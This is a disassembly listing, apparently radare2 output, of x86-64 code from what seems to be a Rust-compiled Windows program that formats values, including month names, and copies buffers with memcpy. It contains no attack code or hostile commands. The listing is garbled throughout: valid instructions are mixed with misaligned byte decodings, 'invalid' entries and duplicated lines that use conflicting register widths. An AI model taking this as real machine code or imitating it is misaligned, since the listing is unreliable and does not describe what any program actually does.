add dword [rax], eax
invalid
and al, 0x30
add al, byte [rax]
add cl, ch
cmp eax, 0xba000001
mov edx, 1
mov edx, 1
mov rax, qword [rsp + 0x218]
jmp case.0x14002615d.1
mov ecx, dword [rsp + 0xcc]
mov rdx, qword [rsp + 0xf0]
call fcn.140040d70
sar eax, 0xa
cdqe
and al, 0xf0
add byte [rax], al
add al, ch
setb byte [rcx]
add cl, al
clc
or cl, byte [rax - 0x68]
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
movsxd rcx, eax
lea rax, [rcx + 0x64]
test ecx, ecx
cmovns rax, rcx
mov edx, 2
jmp case.0x14002615d.1
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x140027c67
mov rax, qword [rsp + 0x120]
lea r8, [0x1400b1b86]
and al, 0x20
add dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
int 0x9f
or byte [rax], al
movzx eax, byte [rax + r8]
lea eax, [rcx + rax*8]
shr eax, 9
jmp case.0x14002615d.1
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140027c67
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1b86]
or eax, 0x89f9d
or eax, 0x89f9d
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
mov ecx, dword [rsp + 0x128]
mov ecx, dword [rsp + 0x128]
lea eax, [rcx + rax*8]
shr eax, 4
and eax, 0x1f
jmp case.0x14002615d.1
mov rax, qword [rsp + 0x220]
jmp case.0x14002615d.1
mov rax, qword [rsp + 0x260]
jmp case.0x14002615d.1
mov ecx, dword [rsp + 0xcc]
add byte [rax], al
mov rdx, qword [rsp + 0xf0]
call fcn.140040d70
shr eax, 4
and eax, 0x3f
mov edx, 2
add bl, ch
invalid
add bl, ch
mov r10d, 3
mov edx, 3
mov edx, 3
mov rax, qword [rsp + 0x1e8]
jmp case.0x14002615d.1
test byte [rax + rbp*8], ah
add dword [rax], eax
add bl, ch
xor al, 0x48
mov rax, qword [rsp + 0x240]
mov rax, qword [rsp + 0x240]
jmp case.0x14002615d.1
mov rax, qword [rsp + 0x250]
mov eax, dword [rsp + 0x250]
jmp case.0x14002615d.1
mov edx, 9
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add dword [rax], eax
mov rax, qword [rsp + 0x150]
add bl, ch
adc dword [rcx], esi
shr bl, 0xd
jmp case.0x14002615d.1
xor eax, eax
jmp case.0x14002615d.1
mov edx, 1
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x140], rdx
mov qword [rsp + 0xf8], rax
lea rdx, [0x1400b11a0]
lea rcx, [rsp + 0x38]
test sil, sil
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x30], edi
je 0x140025efd
movzx eax, sil
mov dh, 0xc6
cmp eax, 1
jne case.0x140080ba4.168
invalid
invalid
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rax, [rsp + 0xf8]
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x2208a
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
lea rax, [0x140049d50]
add al, byte [rax]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x140]
add byte [rax], al
mov qword [rsp + 0xe0], rax
lea rax, [0x140041590]
lea eax, [0x140041590]
add eax, 0x198ab
add byte [rax - 0x77], cl
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x90], 2
and al, 0x90
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
and al, 0x90
and al, 0x90
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
mov dword [rsp + 0xa0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
invalid
test byte [rax + rdi*4], ah
and al, 0xb8
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xb8], eax
and al, 0xb8
mov eax, 0xeb000000
add byte [rax], al
add bl, ch
jmp 0x140027dab
jp 0x140027d7a
lea rax, [rsp + 0xf8]
lea eax, [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
mov qword [rsp + 0xd0], rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x22008
and byte [rdx], al
invalid
add byte [rax], al
lea rax, [0x140049d50]
or byte [rax], ah
add al, byte [rax]
and byte [rdx], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0xe0], rax
test byte [rax + riz*8], ah
and al, 0xe0
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x140041590]
lea rax, [0x140041590]
lea eax, [0x140041590]
mov qword [rsp + 0xe8], rax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
mov qword [rsp + 0x90], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xa8], 1
and al, 0xa8
test al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0x20
add byte [rax], ah
add byte [rax], al
invalid
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax*8], ah
and al, 0xc0
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc0], 3
and al, 0xc0
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0xc50a6
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
and al, 0x60
mov qword [rsp + 0x68], 1
add byte [rax], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
add byte [rax], al
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x60]
and al, 0x60
call fcn.140042180
test al, al
je 0x140025f70
jmp case.0x140026776.38
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd0], rax
lea rax, [0x140049d50]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 2
mov qword [rsp + 0xb0], 0
movabs rax, 0x100000020
mov qword [rsp + 0xb8], rax
add byte [rax], al
mov byte [rsp + 0xc0], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], 1
lea r8, [rsp + 0x60]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
call fcn.140042180
test al, al
je 0x140025f70
jmp case.0x140026776.38
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0xf8]
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x21e64
mov qword [rsp + 0xd0], rax
lea rax, [0x140049d50]
mov qword [rsp + 0xd8], rax
fadd dword [rax]
add byte [rax], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
add byte [rax - 0x73], cl
add eax, 0x19688
add byte [rax - 0x73], cl
add eax, 0x19688
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 1
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
nop
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
invalid
invalid
and byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rax, 0x900000020
mov eax, 0x20
add byte [rax], al
or dword [rax], eax
add byte [rax], al
jmp 0x140027d27
inc dword [rcx - 0x73]
cld
lea eax, [r8 - 4]
movzx ecx, al
cmp cl, 0x13
enter 0xfffffffffffff980, 0x13
mov eax, 0x13
cmovb eax, ecx
movzx ecx, al
lea rdx, [0x1400ef460]
je 0x140027f76
add byte [rax + 0x63], cl
or al, 0x8a
add byte [rdi], cl
ror dword [rdi], 0xb6
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
cmc
je 0x140027f76
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
jmp rcx
sar edi, 1
loope 0x140027fbd
invalid
cmp qword [rsp + 0x100], 0
cmp dword [rsp + 0x100], 0
mov esp, 0x10024
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rsi + 0x3c000014], dh
adc al, 0
invalid
invalid
je case.0x140026776.38
adc al, 0
add byte [rax + rdx], bh
invalid
add byte [rax], al
cmp al, 0x10
adc dh, al
test byte [rcx + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0x91], 2
add byte [rax], al
add cl, byte [rdi]
xchg esp, eax
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rdx + rdx*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax - 0x73], ecx
lea ecx, [rsp + 0x90]
lea rdx, [rsp + 0x38]
sete byte [rsp + 0x90]
mov word [rsp + 0x92], 0x101
add dword [rcx], eax
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x38]
xor r8d, r8d
call fcn.1400151e0
sar dh, cl
inc dword [rax + rax*8 - 0x204b7bf1]
mov ah, 0xdf
invalid
invalid
sar dh, cl
inc dword [rax + rax*8 - 0x204b7bf1]
mov ah, 0xdf
mov ah, 0xdf
invalid
jmp case.0x140026776.38
js 0x140027fd3
add byte [rax], al
mov esi, 0x110003
mov rbx, qword [rsp + 0x288]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
xor r12d, r12d
jmp 0x140027ffc
in al, 0xeb
sub dword [rsi + 0x66], esp
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r9d, ebp
mov esi, 0x110002
mov ebp, edx
invalid
invalid
mov qword [rsp + 0x130], r9
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.140010480
mov edx, ebp
mov rax, qword [rsp + 0x130]
add byte [rax], al
add byte [rax], al
mov ebp, eax
mov r9d, esi
int1
int1
mov r15d, edx
cmp esi, 0x110003
jne 0x1400281c4
add byte [rax], al
add byte [rax], al
mov esi, 1
test rbx, rbx
je 0x14002827b
test byte [rbx + 2], dl
add byte [rax], al
add al, byte [rax]
add byte [rax + 0x3b], cl
pushfq
and al, 0x90
add al, byte [rax]
add byte [rdi], cl
test byte [rbp + 2], al
cmp rbx, qword [rsp + 0x290]
je 0x14002827b
add byte [rax], al
movzx r8d, byte [rbx]
movzx edx, r8b
add eax, dword [rcx + 0xf]
mov dh, 0xd0
test dl, dl
js 0x140028090
inc rbx
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
mov r9d, 0x110001
xor ebp, ebp
lea eax, [r9 - 0x110000]
lea rcx, [rax + 1]
add qword [rbx + 0xf4903f8], rax
int3
mov esi, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
out dx, eax
dec dword [rax - 0x73]
add qword [rbx + 0xf4903f8], rax
int3
add byte [rax], al
adc dword [rax], eax
lea r8, [0x1400ef4c0]
movsxd rax, dword [r8 + rcx*4]
add rax, r8
mov r15d, edx
xlatb
jmp rax
mov eax, edx
and eax, 0x1f
loopne 0x1400280b4
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp dl, 0xdf
cli
invalid
jbe 0x1400280e9
movzx ecx, byte [rbx + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
or ecx, ecx
or ecx, ecx
cmp r8b, 0xf0
invalid
jb 0x140028102
movzx edx, byte [rbx + 3]
and eax, 7
shl eax, 0x12
loopne case.0x140023dd5.161
loopne case.0x140023dd5.161
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
adc dword [rax], eax
add byte [rdi], cl
test byte [rcx + rax - 0x7cb80000], ah
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rax - 0x7d], cl
je 0x14002827b
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rax - 0x7d], cl
add rbx, 4
cmp edx, 0x80
jb 0x140028045
ret
jmp 0x140028119
add rbx, 2
shl eax, 6
or eax, r9d
invalid
mov edx, eax
cmp edx, 0x80
jae 0x140028119
jmp 0x140028045
add rbx, 3
add ebx, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
cmp edx, 0x80
jb 0x140028045
invalid
mov eax, 0x57f
xor r8d, r8d
invalid
xor eax, eax
mov ecx, 0x57f
add eax, 0x8d4c0000
adc eax, 0xb18cb
retf
sbb byte [rbx], cl
invalid
add byte [rax], al
lea r10, [0x1400d99f8]
mov r11d, 0xff
jmp 0x14002814c
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rbp - 0x40], 0xf
sub eax, eax
invalid
mov rcx, rax
sub rax, r8
sub eax, eax
jbe 0x140028056
xchg byte [rdx], cl
invalid
shr rax, 1
add rax, r8
xor r9d, r9d
cmp dword [r10 + rax*8], edx
setne r9b
cmovb r9d, r11d
cmp r9b, 1
stc
invalid
je case.0x140027163.45
ret 0xf41
stc
add dword [rcx + rbx*8 + 0x45], esi
movzx eax, cl
invalid
movzx r8d, r9b
cmp r8d, 0xff
jne 0x140028187
inc rax
mov r8, rax
mov rax, rcx
sub rax, r8
invalid
ja 0x14002814c
sal byte [rdi - 0x36], 0xe9
iretd
jmp 0x140028056
invalid
mov edx, dword [r10 + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
fadd dword [rax]
invalid
add al, 0x89
sal byte [0x140035993], 1
fadd dword [rax]
invalid
fadd dword [rax]
add byte [0x13ff18198], al
add eax, 0xffef0000
add byte [rax], al
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp edx, 0x110000
add byte [rax], al
adc dword [rax], eax
sete cl
or cl, al
mov eax, 0x69
add byte [rax], al
add byte [rdi], cl
ror byte [r15], 1
invalid
popfq
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
ror byte [r15], 1
test byte [rbp + 0x41fffffe], bl
mov r9d, 0x110000
mov ecx, 0x110000
mov ebp, 0x307
lea eax, [r9 - 0x110000]
add bh, ch
dec dword [rax - 0x73]
lea rcx, [rax + 1]
cmp eax, 3
cmovae rcx, r12
lea rcx, [rax + 1]
cmp eax, 3
cmovae rcx, r12
mov esi, 0x110000
lea r8, [0x1400ef4c0]
or al, 0
add byte [rbp + rcx*4 + 5], cl
fidiv word [rdx + 0xc]
or al, 0
invalid
invalid
or al, 0
movsxd rax, dword [r8 + rcx*4]
add al, 0x88
add rax, r8
mov r15d, edx
jmp rax
mov esi, 0x110001
mov r9d, ebp
mov ecx, ebp
mov ecx, ebp
jmp case.0x140028086.0
mov rax, qword [rsp + 0x150]
mov dword [rsp + 0x58], eax
and al, 0x58
and al, 0x50
add dword [rax], eax
add byte [rcx + 0x48582444], cl
and al, 0x58
mov rdx, qword [rsp + 0x48]
and al, 0x58
mov rdx, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x1400290a6
lea r8, [0x1400b11a0]
lea eax, [0x1400b11a0]
add eax, 0x88f80
lea rsi, [rsp + 0x38]
mov rax, qword [rsp + 0x38]
and al, 0x38
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rsp + 0x48], rdx
invalid
lea rax, [rsp + 0x58]
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043b00]
lea eax, [0x140043b00]
lea eax, [0x140043b00]
mov qword [rsp + 0xd8], rax
add byte [rax], al
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
and al, 0x90
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xa8], 9
jmp 0x14002858a
add byte [rcx], cl
add byte [rax], al
add cl, ch
lsl eax, word [rax]
add byte [rcx - 0x7b76b718], cl
and al, 0x30
invalid
mov eax, ebp
mov qword [rsp + 0x130], rax
xor byte [rcx], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x80], al
inc dword [rbx]
cmp dil, 3
jne 0x14002653a
jmp 0x14002654a
mov rcx, qword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x1400295b5
mov rax, qword [rsp + 0x120]
lea rdx, [0x1400b1b86]
lea edx, [0x1400b1b86]
lea edx, [0x1400b1b86]
movzx eax, byte [rax + rdx]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
or ecx, dword [rbp + rcx*4 + 0x4c]
and al, 0x38
or ecx, dword [rbp + rcx*4 + 0x4c]
and al, 0x38
ja 0x1400295ba
shl rcx, 4
shl ecx, 4
lea rax, [0x1400b1fb0]
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x40]
and al, 0x40
mov eax, dword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x48]
sub rax, rdx
cmp rax, 2
ja case.0x14001b912.213
mov r8d, 3
mov rcx, r9
jmp 0x1400290d5
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x1400295cd
mov rax, qword [rsp + 0x120]
lea rdx, [0x1400b1b86]
movzx eax, byte [rax + rdx]
adc byte [rbp - 0x163e3ef4], cl
or edi, edi
leave
adc byte [rbp - 0x163e3ef4], cl
or edi, edi
leave
cmp ecx, 0xb
ja 0x1400295d2
invalid
add byte [rax - 0x3f], cl
loope 0x140028341
shl rcx, 4
lea rax, str.JanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecember
popfq
or byte [rax], al
invalid
add byte [rax - 0x75], cl
sbb al, 1
mov rbx, qword [rcx + rax]
mov rsi, qword [rcx + rax + 8]
jmp 0x1400283a9
mov rax, qword [rsp + 0x280]
mov rsi, qword [rax]
mov esi, dword [rax]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
sub rax, rdx
cmp rax, 2
jbe 0x1400290ca
mov rax, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
movzx ecx, byte [rsi + 2]
mov byte [rax + rdx + 2], cl
movzx ecx, word [rsi]
mov word [rax + rdx], cx
adc byte [rax - 0x7d], cl
ret 0x4803
mov dword [rsp + 0x48], edx
adc byte [rax - 0x7d], cl
ret 0x4803
mov dword [rsp + 0x48], edx
jmp 0x140025f70
fstp st(3)
invalid
mov rax, qword [rsp + 0x278]
mov rbx, qword [rax]
mov rax, qword [rsp + 0x270]
add byte [rax - 0x75], cl
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
and al, 0x40
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
sub rax, r15
sub eax, edi
cmp rax, rsi
jb 0x14002908c
mov rcx, qword [rsp + 0x38]
add rcx, r15
add ecx, edi
stc
mov rdx, rbx
mov edx, ebx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r15, rsi
mov qword [rsp + 0x48], r15
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x48], edi
jmp 0x140025f70
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x48]
sub rax, rdx
sub eax, edx
sub eax, edx
cmp rax, 1
jbe 0x1400290e4
xchg dh, ch
or al, 0
invalid
xchg dh, ch
or al, 0
add byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x194]
add byte [rax], al
mov word [rax + rdx], cx
adc byte [rax - 0x7d], cl
ret 0x4802
add rdx, 2
mov qword [rsp + 0x48], rdx
jmp 0x140025f70
mov rax, qword [rsp + 0x150]
add byte [rax], al
mov dword [rsp + 0xf8], eax
add byte [rax], al
test eax, eax
je 0x140025f70
invalid
dec dword [rax - 0x75]
push rsp
and al, 0x48
mov rdx, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x1400291c1
test byte [rsi + 0x4c00000d], al
lea r8, [0x1400b11a0]
lea eax, [0x1400b11a0]
lea rsi, [rsp + 0x38]
cmp byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
inc rdx
inc edx
ret 0x8948
mov qword [rsp + 0x48], rdx
mov eax, dword [rsp + 0xf8]
imul ecx, eax, 0x68c26139
ror ecx, 6
cmp ecx, 0x10c6
add byte [rdi], cl
invalid
mov dh, 0xa
add byte [rax], al
add byte [rdi], cl
xchg byte [rsi + 0x6900000a], dh
mov dh, 0xa
add byte [rax], al
imul ecx, eax, 0x26e978d5
ror ecx, 3
mov dh, 0xa
add byte [rax], al
imul ecx, eax, 0x26e978d5
ror ecx, 3
cmp ecx, 0x418937
jbe 0x140028f8b
invalid
lea rax, [rsp + 0xf8]
jmp 0x14002823b
add cl, ch
movsd dword [rdi], dword [rsi]
std
invalid
mov rdx, qword [rsp + 0x48]
cmp qword [rsp + 0x40], rdx
je 0x1400290fe
pop rax
or al, 0
add byte [rax], al
pop rax
or al, 0
invalid
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1400b11a0]
lea rsi, [rsp + 0x38]
mov word [rax], cs
add byte [rax - 0x73], cl
je 0x1400284d5
cmp byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
inc rdx
inc edx
inc edx
ret 0x8948
mov qword [rsp + 0x48], rdx
and al, 0x48
mov rax, qword [rsp + 0x1d8]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
rol byte [rax], 1
add byte [rax], al
lea rax, [0x140043b00]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov dword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov dword [rsp + 0xa0], 0
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0xa8], 3
jmp 0x14002858a
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add bl, ch
jns 0x14002855a
invalid
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
and al, 0x48
cmp qword [rsp + 0x40], rdx
and al, 0x40
je 0x140029122
test byte [rcx], al
or al, 0
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1400b11a0]
js 0x1400284b2
or byte [rax], al
lea rsi, [rsp + 0x38]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x2e
invalid
adc byte [rsi], ch
inc rdx
inc rdx
ret 0x8948
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x1e0]
invalid
add byte [rcx + 0x48582444], cl
lea eax, [rsp + 0x58]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x140043b00]
add eax, 0x1b5a2
movabs byte [0xd8248489480001b5], al
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rsi], al
add byte [rax], al
add byte [rax], al
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rsi], al
add byte [rax], al
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov eax, 0xc6000000
add byte [rax], al
add dh, al
invalid
mov byte [rsp + 0xc0], 3
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add dword [rax], eax
add byte [rax], al
invalid
push 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
mov rdx, r8
lea r8, [rsp + 0x60]
call fcn.140042180
test al, al
je 0x140025f70
jmp case.0x140026776.38
invalid
cmp qword [rsp + 0x100], 0
cmp dword [rsp + 0x100], 0
mov esp, 0x10024
add byte [rax], al
je case.0x140026776.38
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
sub rax, rsi
sub rax, rsi
mov rdi, qword [rsp + 0x158]
mov edi, dword [rsp + 0x158]
cmp rax, rdi
jb 0x140029146
mov rcx, qword [rsp + 0x38]
add rcx, rsi
mov rdx, qword [rsp + 0x100]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rsp + 0x48], rsi
jmp 0x140025f70
cmp qword [rsp + 0x100], 0
je case.0x140026776.38
lea rcx, [0x1400b1e63]
jmp 0x140027fa7
cmp qword [rsp + 0x100], 0
je case.0x140026776.38
